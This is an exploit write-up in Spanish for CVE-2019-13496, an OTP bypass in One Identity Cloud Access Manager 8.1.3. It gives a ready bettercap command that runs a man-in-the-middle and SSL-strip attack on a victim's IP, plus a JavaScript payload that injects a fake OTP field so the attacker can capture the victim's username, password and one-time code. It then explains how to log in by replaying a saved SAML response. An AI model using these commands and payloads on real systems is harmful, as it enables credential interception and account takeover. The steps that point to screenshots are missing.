CVE-2019-13496

Título del exploit: Bypass de OTP (verificación de integridad fallida)
Fecha: 07/10/2019
Autor del exploit: Furqan Khan
Página principal del proveedor: https://www.oneidentity.com/
Enlace del software: https://www.oneidentity.com/products/cloud-access-manager/
Versión: 8.1.3
Probado en: Kali Linux , Windows 7 ,Ubantu 16.04

Para explotar la vulnerabilidad de bypass de OTP, un atacante hace uso de una vulnerabilidad descubierta anteriormente de MITM/SSL-Strip CVE-2019-13498 , CVE-2019-13498 .Un atacante lleva a cabo un ataque MITM / SSL strip mediante el cual puede inyectar un cuadro de texto de OTP en la página web que se sirve a la víctima. Una víctima comparte su nombre de usuario, contraseña y OTP generado desde una aplicación llamada defender (que es propiedad del mismo proveedor). El atacante intercepta el nombre de usuario, la contraseña y el OTP y luego intenta acceder a la aplicación mediante un flujo de trabajo legítimo. Después de ingresar el nombre de usuario y la contraseña (que fueron robados), el atacante coloca el OTP robado en la página siguiente. Al enviar la solicitud en la página de OTP, se guarda la respuesta SAML firmada. Ahora, aunque el atacante no tiene acceso a la aplicación que genera el OTP, puede poner un OTP inválido para transacciones sucesivas y, mientras la aplicación invalida el OTP, el atacante puede cambiar la respuesta SAML fallida por la respuesta SAML legítima obtenida anteriormente, y la aplicación no realiza una verificación de integridad e inicia sesión para el atacante.

(1) El primer paso del ataque es llevar a cabo el MITM/SSL-Strip que se documenta en: CVE-2019-13498 , y también se especifica a continuación:

El comando de bettercap utilizado es:

bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Aquí 192.168.1.103 es la dirección IP de la víctima. Si no la conocemos, podemos usar bettercap para esnifar y manipular el contenido de toda la LAN (red común del atacante y la víctima).

El contenido de inject_js.js se indica a continuación

<script>
 
function replace_payload()
{  


     var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password"  id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';

     var text_div=$(".m-b-20");

     text_div.append(append_str);

    }

    function control(){setTimeout(replace_payload,2000);} control();
    
</script>

Ahora, cuando la víctima navegue por el producto (Cloud access manager), debido al envenenamiento de caché y al SSL strip (Bettercap), se inyectará un cuadro de texto de OTP en la página que se servirá a la víctima a través del fragmento de JavaScript inyectado

Dado que la conexión se degrada a http mediante ssl-strip, ahora todo el tráfico será visible para el atacante. Por lo tanto, podemos interceptar el tráfico y ver el nombre de usuario, la contraseña y el OTP enviados por la víctima.

Ahora supongamos que hemos iniciado sesión una vez con las credenciales guardadas y hemos guardado todas las solicitudes y respuestas válidas.

En esta sección aprenderemos cómo podemos usar la respuesta OTP guardada anteriormente para omitir la validación de OTP, lo que nos permitirá iniciar sesión en la aplicación.

Ingresemos un OTP inválido como se muestra a continuación:

A continuación se muestra la respuesta que falla la validación de OTP.

Reemplace la respuesta fallida con la respuesta legítima guardada anteriormente.

A continuación se muestra la respuesta SAML que falla la validación de OTP.

Reemplace la respuesta fallida con la respuesta SAML legítima guardada anteriormente.

Bingo, la aplicación nos permite iniciar sesión. Idealmente, debería haber realizado una verificación de integridad y debería haber tenido en cuenta que el OTP ha expirado.

¡Bingo! ¡Eso fue fácil!